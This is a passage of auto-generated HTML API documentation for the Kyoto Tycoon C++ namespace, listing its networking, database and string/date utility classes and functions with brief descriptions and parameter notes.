class="el" href="classkyototycoon_1_1SharedLibrary.html">SharedLibrary</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Shared library. <a href="classkyototycoon_1_1SharedLibrary.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1Pollable.html">Pollable</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Interface of poolable I/O event. <a href="classkyototycoon_1_1Pollable.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1Socket.html">Socket</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Network stream abstraction based on TCP/IP. <a href="classkyototycoon_1_1Socket.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1ServerSocket.html">ServerSocket</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Network server abstraction based on TCP/IP. <a href="classkyototycoon_1_1ServerSocket.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1Poller.html">Poller</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">I/O event notification. <a href="classkyototycoon_1_1Poller.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1ThreadedServer.html">ThreadedServer</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Threaded TCP Server. <a href="classkyototycoon_1_1ThreadedServer.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1TimedDB.html">TimedDB</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Timed database. <a href="classkyototycoon_1_1TimedDB.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1UpdateLogger.html">UpdateLogger</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Update logger. <a href="classkyototycoon_1_1UpdateLogger.html#_details">More...</a><br/></td></tr> <tr><td colspan="2"><h2>Typedefs</h2></td></tr> <tr><td class="memItemLeft" align="right" valign="top">typedef <a class="el" href="classkyototycoon_1_1PluggableDB.html">PluggableDB</a> *(*&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a4199e42707f147558d909a41787c92e0">KTDBINIT</a> )()</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Initializer of a database implementation. <a href="#a4199e42707f147558d909a41787c92e0"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">typedef <a class="el" href="classkyototycoon_1_1PluggableServer.html">PluggableServer</a> *(*&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#ae07ce1db9c71395930774106789171c5">KTSERVINIT</a> )()</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Initializer of a server implementation. <a href="#ae07ce1db9c71395930774106789171c5"></a><br/></td></tr> <tr><td colspan="2"><h2>Functions</h2></td></tr> <tr><td class="memItemLeft" align="right" valign="top">bool&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a9ab27b9ecf56eedb045b412ef741d40e">setkillsignalhandler</a> (void(*handler)(int))</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Set the signal handler for termination signals. <a href="#a9ab27b9ecf56eedb045b412ef741d40e"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">bool&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a791aec71410ad2b074df7feabbec456d">daemonize</a> ()</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Switch the process into the background. <a href="#a791aec71410ad2b074df7feabbec456d"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a70791cacbe8ac12208603e2830f02829">executecommand</a> (const std::vector&lt; std::string &gt; &amp;args)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Execute a shell command. <a href="#a70791cacbe8ac12208603e2830f02829"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const char *&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#afebb6449b5a8fa42e288b1699db0a1f2">strmapget</a> (const std::map&lt; std::string, std::string &gt; &amp;map, const char *key, size_t *sp=NULL)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the C-style string value of a record in a string map. <a href="#afebb6449b5a8fa42e288b1699db0a1f2"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a9f9dc5c487f1c207f58207b058b1860b">printstrvec</a> (const std::vector&lt; std::string &gt; &amp;vec, std::ostream &amp;strm=std::cout)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Print all records in a string vector. <a href="#a9f9dc5c487f1c207f58207b058b1860b"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a236d0f15d1768d661b6e147d04a10f69">printstrmap</a> (const std::map&lt; std::string, std::string &gt; &amp;map, std::ostream &amp;strm=std::cout)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Print all records in a string map. <a href="#a236d0f15d1768d661b6e147d04a10f69"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a6ac45374f36f35280d2d8203a5bcf253">urlbreak</a> (const char *url, std::map&lt; std::string, std::string &gt; *elems)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Break up a <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> into elements. <a href="#a6ac45374f36f35280d2d8203a5bcf253"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">char *&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#ab3f2460ab78d21fffd715c54362547cd">xmlescape</a> (const char *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Escape meta characters in a string with the entity references of XML. <a href="#ab3f2460ab78d21fffd715c54362547cd"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">char *&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a11169346313e3145d208646f6afb4553">xmlunescape</a> (const char *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Unescape meta characters in a string with the entity references of XML. <a href="#a11169346313e3145d208646f6afb4553"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a51ba34f6b6711f07c02f3ba0e782c2b5">wwwformtomap</a> (const std::string &amp;str, std::map&lt; std::string, std::string &gt; *map)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Parse a www-form-urlencoded string and store each records into a map. <a href="#a51ba34f6b6711f07c02f3ba0e782c2b5"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#acea4a86ae2e44a506e6b0ebe44cd761c">maptowwwform</a> (const std::map&lt; std::string, std::string &gt; &amp;map, std::string *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Serialize a string map into a www-form-urlencoded string. <a href="#acea4a86ae2e44a506e6b0ebe44cd761c"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#ad38810f301b838fab6880377315827b9">tsvtomap</a> (const std::string &amp;str, std::map&lt; std::string, std::string &gt; *map)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Parse a TSV string and store each records into a map. <a href="#ad38810f301b838fab6880377315827b9"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a911909ae1363cedd2db7dad46d6c821a">maptotsv</a> (const std::map&lt; std::string, std::string &gt; &amp;map, std::string *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Serialize a string map into a TSV string. <a href="#a911909ae1363cedd2db7dad46d6c821a"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a646fcad970da491ffc6f4953bd4bec7e">tsvmapencode</a> (std::map&lt; std::string, std::string &gt; *map, int32_t mode)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Encode each record of a string map. <a href="#a646fcad970da491ffc6f4953bd4bec7e"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a40609df3cecfe149f0d09f4ca750644f">tsvmapdecode</a> (std::map&lt; std::string, std::string &gt; *map, int32_t mode)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Decode each record of a string map. <a href="#a40609df3cecfe149f0d09f4ca750644f"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#aa016a36936911f0dfb64863093b8a27b">checkmapenc</a> (const std::map&lt; std::string, std::string &gt; &amp;map)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Check the best suited encoding of a string map. <a href="#aa016a36936911f0dfb64863093b8a27b"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">char *&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#aff047ef8d15604042a8349d54f344353">strcapitalize</a> (char *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Capitalize letters of a string. <a href="#aff047ef8d15604042a8349d54f344353"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">bool&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#aaa999b301f358a83c5e114f166d933f8">strisalnum</a> (const char *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Check a string is composed of alphabets or numbers only. <a href="#aaa999b301f358a83c5e114f166d933f8"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a1914e6367fc5124a7a92f9c04a8de1cd">strtokenize</a> (const char *str, std::vector&lt; std::string &gt; *tokens)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Tokenize a string separating by space characters. <a href="#a1914e6367fc5124a7a92f9c04a8de1cd"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#ae0f925395a82daba3c4c81a25840d1e2">getcalendar</a> (int64_t t, int32_t jl, int32_t *yearp=NULL, int32_t *monp=NULL, int32_t *dayp=NULL, int32_t *hourp=NULL, int32_t *minp=NULL, int32_t *secp=NULL)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the Gregorian calendar of a time. <a href="#ae0f925395a82daba3c4c81a25840d1e2"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a77b8bf8385b9b7d2b19f71835298364a">datestrwww</a> (int64_t t, int32_t jl, char *buf)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Format a date as a string in W3CDTF. <a href="#a77b8bf8385b9b7d2b19f71835298364a"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#af2b7d71a1c09c0274befa24388e6144b">datestrwww</a> (double t, int32_t jl, int32_t acr, char *buf)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Format a date as a string in W3CDTF with the fraction part. <a href="#af2b7d71a1c09c0274befa24388e6144b"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a2e0bbd4f25c677ebf29d802154614df0">datestrhttp</a> (int64_t t, int32_t jl, char *buf)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Format a date as a string in RFC 1123 format. <a href="#a2e0bbd4f25c677ebf29d802154614df0"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">int64_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#ad28f227807383d23d55f03929243216e">strmktime</a> (const char *str)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the time value of a date string. <a href="#ad28f227807383d23d55f03929243216e"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#addcd83afe401f04ab5ba63ab2be087b1">jetlag</a> ()</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the jet lag of the local time. <a href="#addcd83afe401f04ab5ba63ab2be087b1"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#af684186e0557a36beadbc68e107225ae">dayofweek</a> (int32_t year, int32_t mon, int32_t day)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the day of week of a date. <a href="#af684186e0557a36beadbc68e107225ae"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">bool&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a7b6dcf8106e8f10d46e93ab3639a5188">getlocaltime</a> (time_t time, struct std::tm *result)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the local time of a time. <a href="#a7b6dcf8106e8f10d46e93ab3639a5188"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">bool&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a70fec37a906565ba8f6527741fa0d28a">getgmtime</a> (time_t time, struct std::tm *result)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Get the GMT local time of a time. <a href="#a70fec37a906565ba8f6527741fa0d28a"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">time_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#aacada38d495bc6a4a9f9eeee9563e241">mkgmtime</a> (struct std::tm *tm)</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Make the GMT from a time structure. <a href="#aacada38d495bc6a4a9f9eeee9563e241"></a><br/></td></tr> <tr><td colspan="2"><h2>Variables</h2></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const char *const&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#abd650ccab40869e9652083d1ab724276">KTDBINITNAME</a> = &quot;ktdbinit&quot;</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The name of the initializer function. <a href="#abd650ccab40869e9652083d1ab724276"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const char *const&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a58dabb64ef175a6a674bd3fa48cae5b9">KTSERVINITNAME</a> = &quot;ktservinit&quot;</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The name of the initializer function. <a href="#a58dabb64ef175a6a674bd3fa48cae5b9"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const char *const&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#adacdf98cae86752dc99be348a3e35cab">VERSION</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The package version. <a href="#adacdf98cae86752dc99be348a3e35cab"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a12680d9ba4327e7518dfafed27e9eed9">LIBVER</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The library version. <a href="#a12680d9ba4327e7518dfafed27e9eed9"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#a445836d71c38ea4b7dfdd357d8c8b00d">LIBREV</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The library revision. <a href="#a445836d71c38ea4b7dfdd357d8c8b00d"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const char *const&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#af98f233eec5c28b94f9b59dddab41d66">FEATURES</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The extra feature list. <a href="#af98f233eec5c28b94f9b59dddab41d66"></a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">const int32_t&nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="namespacekyototycoon.html#aebd15b3b803e2e0d38f51c0385b66c43">DEFPORT</a> = 1978</td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">The default port number. <a href="#aebd15b3b803e2e0d38f51c0385b66c43"></a><br/></td></tr> </table> <hr/><a name="_details"></a><h2>Detailed Description</h2> <p>All symbols of Kyoto Tycoon. </p> <p>Common namespace of Kyoto Tycoon. </p> <hr/><h2>Typedef Documentation</h2> <a class="anchor" id="a4199e42707f147558d909a41787c92e0"></a><!-- doxytag: member="kyototycoon::KTDBINIT" ref="a4199e42707f147558d909a41787c92e0" args=")()" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">typedef <a class="el" href="classkyototycoon_1_1PluggableDB.html">PluggableDB</a>*(* <a class="el" href="namespacekyototycoon.html#a4199e42707f147558d909a41787c92e0">kyototycoon::KTDBINIT</a>)()</td> </tr> </table> </div> <div class="memdoc"> <p>Initializer of a database implementation. </p> <dl class="note"><dt><b>Note:</b></dt><dd>Each shared library of a pluggable database module must implement a function whose name is "ktdbinit" and return a new instance of a derived class of the <a class="el" href="classkyototycoon_1_1PluggableDB.html" title="Interface of pluggable database abstraction.">PluggableDB</a> class. The instance will be deleted implicitly by the caller. </dd></dl> </div> </div> <a class="anchor" id="ae07ce1db9c71395930774106789171c5"></a><!-- doxytag: member="kyototycoon::KTSERVINIT" ref="ae07ce1db9c71395930774106789171c5" args=")()" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">typedef <a class="el" href="classkyototycoon_1_1PluggableServer.html">PluggableServer</a>*(* <a class="el" href="namespacekyototycoon.html#ae07ce1db9c71395930774106789171c5">kyototycoon::KTSERVINIT</a>)()</td> </tr> </table> </div> <div class="memdoc"> <p>Initializer of a server implementation. </p> <dl class="note"><dt><b>Note:</b></dt><dd>Each shared library of a pluggable server module must implement a function whose name is "ktservinit" and return a new instance of a derived class of the <a class="el" href="classkyototycoon_1_1PluggableServer.html" title="Interface of pluggable server abstraction.">PluggableServer</a> class. The instance will be deleted implicitly by the caller. </dd></dl> </div> </div> <hr/><h2>Function Documentation</h2> <a class="anchor" id="a9ab27b9ecf56eedb045b412ef741d40e"></a><!-- doxytag: member="kyototycoon::setkillsignalhandler" ref="a9ab27b9ecf56eedb045b412ef741d40e" args="(void(*handler)(int))" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool kyototycoon::setkillsignalhandler </td> <td>(</td> <td class="paramtype">void(*)(int)&nbsp;</td> <td class="paramname"> <em>handler</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Set the signal handler for termination signals. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>handler</em>&nbsp;</td><td>the function pointer of the signal handler. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>true on success, or false on failure. </dd></dl> </div> </div> <a class="anchor" id="a791aec71410ad2b074df7feabbec456d"></a><!-- doxytag: member="kyototycoon::daemonize" ref="a791aec71410ad2b074df7feabbec456d" args="()" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool kyototycoon::daemonize </td> <td>(</td> <td class="paramname"></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Switch the process into the background. </p> <dl class="return"><dt><b>Returns:</b></dt><dd>true on success, or false on failure. </dd></dl> </div> </div> <a class="anchor" id="a70791cacbe8ac12208603e2830f02829"></a><!-- doxytag: member="kyototycoon::executecommand" ref="a70791cacbe8ac12208603e2830f02829" args="(const std::vector&lt; std::string &gt; &amp;args)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int32_t kyototycoon::executecommand </td> <td>(</td> <td class="paramtype">const std::vector&lt; std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>args</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Execute a shell command. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>args</em>&nbsp;</td><td>an array of the command name and its arguments. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the exit code of the command or `INT32_MIN' on failure. </dd></dl> <dl class="note"><dt><b>Note:</b></dt><dd>The command name and the arguments are quoted and meta characters are escaped. </dd></dl> </div> </div> <a class="anchor" id="afebb6449b5a8fa42e288b1699db0a1f2"></a><!-- doxytag: member="kyototycoon::strmapget" ref="afebb6449b5a8fa42e288b1699db0a1f2" args="(const std::map&lt; std::string, std::string &gt; &amp;map, const char *key, size_t *sp=NULL)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const char * kyototycoon::strmapget </td> <td>(</td> <td class="paramtype">const std::map&lt; std::string, std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>map</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>key</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">size_t *&nbsp;</td> <td class="paramname"> <em>sp</em> = <code>NULL</code></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the C-style string value of a record in a string map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the target string map. </td></tr> <tr><td valign="top"></td><td valign="top"><em>key</em>&nbsp;</td><td>the key. </td></tr> <tr><td valign="top"></td><td valign="top"><em>sp</em>&nbsp;</td><td>the pointer to the variable into which the size of the region of the return value is assigned. If it is NULL, it is ignored. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the C-style string value of the corresponding record, or NULL if there is no corresponding record. </dd></dl> </div> </div> <a class="anchor" id="a9f9dc5c487f1c207f58207b058b1860b"></a><!-- doxytag: member="kyototycoon::printstrvec" ref="a9f9dc5c487f1c207f58207b058b1860b" args="(const std::vector&lt; std::string &gt; &amp;vec, std::ostream &amp;strm=std::cout)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::printstrvec </td> <td>(</td> <td class="paramtype">const std::vector&lt; std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>vec</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::ostream &amp;&nbsp;</td> <td class="paramname"> <em>strm</em> = <code>std::cout</code></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Print all records in a string vector. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>vec</em>&nbsp;</td><td>the target string vector. </td></tr> <tr><td valign="top"></td><td valign="top"><em>strm</em>&nbsp;</td><td>the output stream. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a236d0f15d1768d661b6e147d04a10f69"></a><!-- doxytag: member="kyototycoon::printstrmap" ref="a236d0f15d1768d661b6e147d04a10f69" args="(const std::map&lt; std::string, std::string &gt; &amp;map, std::ostream &amp;strm=std::cout)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::printstrmap </td> <td>(</td> <td class="paramtype">const std::map&lt; std::string, std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>map</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::ostream &amp;&nbsp;</td> <td class="paramname"> <em>strm</em> = <code>std::cout</code></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Print all records in a string map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the target string map. </td></tr> <tr><td valign="top"></td><td valign="top"><em>strm</em>&nbsp;</td><td>the output stream. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a6ac45374f36f35280d2d8203a5bcf253"></a><!-- doxytag: member="kyototycoon::urlbreak" ref="a6ac45374f36f35280d2d8203a5bcf253" args="(const char *url, std::map&lt; std::string, std::string &gt; *elems)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::urlbreak </td> <td>(</td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>url</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::map&lt; std::string, std::string &gt; *&nbsp;</td> <td class="paramname"> <em>elems</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Break up a <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> into elements. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>url</em>&nbsp;</td><td>the <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> string. </td></tr> <tr><td valign="top"></td><td valign="top"><em>elems</em>&nbsp;</td><td>the map object to contain the result elements. The key "self" indicates the <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> itself. "scheme" indicates the scheme. "host" indicates the host of the server. "port" indicates the port number of the server. "authority" indicates the authority information. "path" indicates the path of the resource. "file" indicates the file name without the directory section. "query" indicates the query string. "fragment" indicates the fragment string. </td></tr> </table> </dd> </dl> <dl class="note"><dt><b>Note:</b></dt><dd>Supported schema are HTTP, HTTPS, FTP, and FILE. Both of absolute <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> and relative <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> are supported. </dd></dl> </div> </div> <a class="anchor" id="ab3f2460ab78d21fffd715c54362547cd"></a><!-- doxytag: member="kyototycoon::xmlescape" ref="ab3f2460ab78d21fffd715c54362547cd" args="(const char *str)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char * kyototycoon::xmlescape </td> <td>(</td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>str</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Escape meta characters in a string with the entity references of XML. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the string. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the escaped string. </dd></dl> <dl class="note"><dt><b>Note:</b></dt><dd>Because the region of the return value is allocated with the the new[] operator, it should be released with the delete[] operator when it is no longer in use. </dd></dl> </div> </div> <a class="anchor" id="a11169346313e3145d208646f6afb4553"></a><!-- doxytag: member="kyototycoon::xmlunescape" ref="a11169346313e3145d208646f6afb4553" args="(const char *str)" --> <div class="memitem"> <div 